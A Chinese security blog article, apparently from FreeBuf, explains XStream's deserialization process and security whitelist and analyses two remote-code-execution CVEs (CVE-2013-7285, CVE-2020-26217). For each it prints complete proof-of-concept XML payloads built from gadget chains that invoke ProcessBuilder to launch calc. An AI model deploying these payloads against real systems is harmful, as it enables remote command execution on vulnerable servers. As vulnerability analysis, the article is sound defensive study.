aboood
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

前言
XStream是一个简单的基于Java的XML操作库,可以简单的将javaBean对象序列化为XML格式数据进行存储传输,反之也可以重新序列化为javaBean对象,因其使用起来简单功能强大,所以在java生态圈内使用量较大,近年来XStream组件高危漏洞频发,以下是对其安全漏洞的简单分析。
基础知识
简单使用
以下是对XStream功能的简单演示代码
Person类:
public class Person implements Serializable { private String name; private int age; public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Person{" + "name='" + name + '\'' + ", age=" + age + '}'; } private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException { System.out.println("readObject is run!"); } }
Main类:
public class Main { private static String path = null; private static XStream xstream = null; static { path = Main.class.getClassLoader().getResource(".").getPath() + "poc.xml"; //XStream有三种解析xml驱动,DomDriver、StaxDriver和默认的XppDriver //StaxDriver,StAX,全称Streaming API for XML,一种全新的,基于流的JAVA XML解析标准类库 xstream = new XStream(new StaxDriver()); //XStream的安全设置 XStream.setupDefaultSecurity(xstream); //白名单:允许序列化的类 xstream.allowTypes(new Class[]{Person.class}); } public static void encode(Object o) { File file = new File(path); PrintWriter printWriter = null; try { printWriter = new PrintWriter(file); printWriter.print(xstream.toXML(o)); } catch (FileNotFoundException e) { e.printStackTrace(); } finally { if (printWriter != null) { printWriter.close(); } } } public static Object deCode() { File file = new File(path); int length = (int) file.length(); FileReader fileReader = null; try { fileReader = new FileReader(file); char[] buffer = new char[length]; int n = fileReader.read(buffer); if (n == -1) { return null; } return xstream.fromXML(new String(buffer)); } catch (Exception e) { e.printStackTrace(); return null; } finally { if (fileReader != null) { try { fileReader.close(); } catch (IOException e) { e.printStackTrace(); } } } } public static void main(String[] args) { Person person = new Person(); person.setName("test"); person.setAge(18); encode(person); Object o = deCode(); System.out.println(o); } }
执行代码可以看到XML文件中已经写入了目标对象,目标类继承了Serializable接口后,可以在文档中看到 serialization="custom" 字段。
目标类可以是普通javaBean类,或者是动态代理类,也可以是继承了Serializable接口的可序列化类,当目标类继承了Serializable接口和重写readObject方法后,在执行fromXML方法反序列化的过程中就会调用重写readObject方法生成对象。
反序列化流程分析
fromXML的执行流程网上已经有很多文章分析了,这里就不重复介绍了,重点时分析以下几种情况。
当目标类为普通javaBean类。
启动程序分析进行分析,运行到TreeUnmarshaller类的convertAnother方法时,进入lookupConverterForType方法寻找转换器。
在DefaultConverterLookup类lookupConverterForType方法中对converters集合中已经存在的83个转换器依次比较最终返回ReflectionConverter(反射转换器),之后使用反射的方式生成对象。
在AbstractReflectionConverter类doUnmarshal方法中,可以看到使用反射的方式为对象内字段赋值。
目标类继承了Serializable接口。
启动程序分析进行分析,运行到DefaultConverterLookup类的lookupConverterForType方法中就会返回SerializableConverter(序列化转换器)。
在SerializableConverter类的canConvert方法中可以看到调用了同类下的isSerializable方法,判读类是否继承了Serializable接口。
在TreeUnmarshaller类convertAnother方法中执行到convert方法。
在TreeUnmarshaller类的convert方法中调用SerializableConverter类的unmarshal方法。
在SerializableConverter类的doUnmarshal方法中,440行的serializationMembers.supportsReadObject的方法中判断目标类是否有readObject方法。
在SerializableConverter类的doUnmarshal方法中,443行的serializationMembers.callReadObject方法中最终以反射的方式执行了readObject方法。
XStream在反序列化时并不会核对serialVersionUID的值,是否一致都可以反序列化成功。
目标类为动态代理类。
启动程序分析进行分析,发现运行到DefaultConverterLookup类的lookupConverterForType方法中converterLookup.lookupConverterForType的返回值为DynamicProxyConverter(动态类转换器)。
在DynamicProxyConverter类的unmarshal方法中可以看到解码方法使用了Proxy.newProxyInstance的方式生成了目标代理类。
在生成的XML文件中,接口标签和handler标签将生成代理类需要的值一一声明在文件中。
安全机制
在XStream 1.4.7版本中加入了基于黑白名单的安全框架,但是未提供默认安全配置。
在XStream 1.4.10版本加入了setupDefaultSecurity这个用于设置默认安全配置的方法,但是要生效,需要手动设置。
在setupDefaultSecurity方法中可以看到默认白名单安全措施。
开发者可以调用allowTypes方法在白名单中添加需要反序列化的类。
在SecurityMapper类的realClass方法中做安全判断,是后在白名单中。
如果不设置setupDefaultSecurity,默认的白名单权限就是任意类都可以反序列化。
漏洞分析
CVE-2013-7285
影响范围#
1.4.x<=1.4.6 或 1.4.10
在分析漏洞前先介绍EventHandler类 。
EventHandler类是jdk自带的类库中存在的类,自身扩展了InvocationHandler接口,如图是类内的字段主要的是target和action两个字段,target是在代理执行中实际执行的类对象,action字段为代理执行中实际的方法。
在invoke方法中调用执行的是invokeInternal方法。
在invokeInternal方法中传入的method参数只要不是hashcode、equals和tostring三个方法,程序执行过程就会action作为方法名参数在target对象内寻找对应的方法,最后反射执行action方法,因为start方法为无参数方法,所以可以在argTypes为空数组的条件下找到。
以下是在网上找到的POC:
public class Poc1 { public static void main(String[] args) { XStream xStream = new XStream(); String xml = "<sorted-set>\n" + " <string>foo</string>\n" + " <dynamic-proxy>\n" + " <interface>java.lang.Comparable</interface>\n" + " <handler class=\"java.beans.EventHandler\">\n" + " <target class=\"java.lang.ProcessBuilder\">\n" + " <command>\n" + " <string>cmd</string>\n" + " <string>/C</string>\n" + " <string>calc</string>\n" + " </command>\n" + " </target>\n" + " <action>start</action>\n" + " </handler>\n" + " </dynamic-proxy>\n" + "</sorted-set>"; xStream.fromXML(xml); } }
从POC上可以看到需要反序列化的对象为SortedSet类,内部有两个值一个字符串值,另一个是动态代理类型,代理的接口为Comparable,handler类型为EventHandler,EventHandler内部target值为ProcessBuilder,action值为start 。
程序运行分析流程,在TreeUnmarshaller类convertAnother方法中,通过调用mapper.defaultImplementationOf找寻系统内SortedSet的实现类,经过查询找到实现类TreeSet。
因查找到的类型为TreeSet,所以在converterLookup.lookupConverterForType执行后,得到的转换器类型为TreeSetConverter。
在TreeSetConverter类的convert方法中调用解码方法。
进入同类的populateTreeMap方法。
进入同类的result.putAll方法,实际为TreeMap的putAll方法。
TreeMap的putAll方法会调用put方法,在方法内会对前后两个对象进行比较,在这会调用代理对象的compareTo方法,POC中使用的EventHandler的代理方法invok已经赋值为调用命令执行,程序执行至此命令执行成功。
CVE-2020-26217
影响范围#
XStream <= 1.4.13
以下是在网上找到的POC:
public class Poc2 { public static void main(String[] args) { XStream xStream = new XStream(); String xml="<map>\n" + " <entry>\n" + " <jdk.nashorn.internal.objects.NativeString>\n" + " <flags>0</flags>\n" + " <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" + " <dataHandler>\n" + " <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" + " <contentType>text/plain</contentType>\n" + " <is class='java.io.SequenceInputStream'>\n" + " <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>\n" + " <iterator class='javax.imageio.spi.FilterIterator'>\n" + " <iter class='java.util.ArrayList$Itr'>\n" + " <cursor>0</cursor>\n" + " <lastRet>-1</lastRet>\n" + " <expectedModCount>1</expectedModCount>\n" + " <outer-class>\n" + " <java.lang.ProcessBuilder>\n" + " <command>\n" + " <string>calc</string>\n" + " </command>\n" + " </java.lang.ProcessBuilder>\n" + " </outer-class>\n" + " </iter>\n" + " <filter class='javax.imageio.ImageIO$ContainsFilter'>\n" + " <method>\n" + " <class>java.lang.ProcessBuilder</class>\n" + " <name>start</name>\n" + " <parameter-types/>\n" + " </method>\n" + " <name>start</name>\n" + " </filter>\n" + " <next/>\n" + " </iterator>\n" + " <type>KEYS</type>\n" + " </e>\n" + " <in class='java.io.ByteArrayInputStream'>\n" + " <buf></buf>\n" + " <pos>0</pos>\n" + " <mark>0</mark>\n" + " <count>0</count>\n" + " </in>\n" + " </is>\n" + " <consumed>false</consumed>\n" + " </dataSource>\n" + " <transferFlavors/>\n" + " </dataHandler>\n" + " <dataLen>0</dataLen>\n" + " </value>\n" + " </jdk.nashorn.internal.objects.NativeString>\n" + " <string>test</string>\n" + " </entry>\n" + "</map>"; xStream.fromXML(xml); } }
从POC上可以看出涉及到的类很多,理解起来相对困难一些。
运行POC命令被成功执行,计算器弹出。
在ProcessBuilder类的start方法处下断点,调用栈还是很复杂的,涉及到的方法调用较多。
反序列化的开始过程和上面介绍的漏洞基本相同,从MapConverter类的unmarshal方法开始分析。
可以看到在同类的populateMap方法执行中,调用了putCurrentEntryIntoMap方法往map中写入数据。
在putCurrentEntryIntoMap方法中对target进行了put操作,key变量的值就是POC中payload反序列化出的对象。
在NativeString类hashCode方法中,调用了getStringValue方法,之后会调用value.toString,此时value变量的值为Base64Data对象。
Base64Data类的toString方法调用get方法,在get方法中可以看到is变量的值为SequenceInputStream类。
快进到MultiUIDefaultsEnumerator类的nextElement方法中,调用iterator.next()方法,iterator变量的值为FilterIterator对象,在FilterIterator类的advance方法中调用filter.filter方法,filter变量的值为ImageIO$ContainsFilter对象,elt变量的值为ProcessBuilder对象。
在ImageIO$ContainsFilter类的filter方法中,以反射的方式执行了ProcessBuilder对象的start方法。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
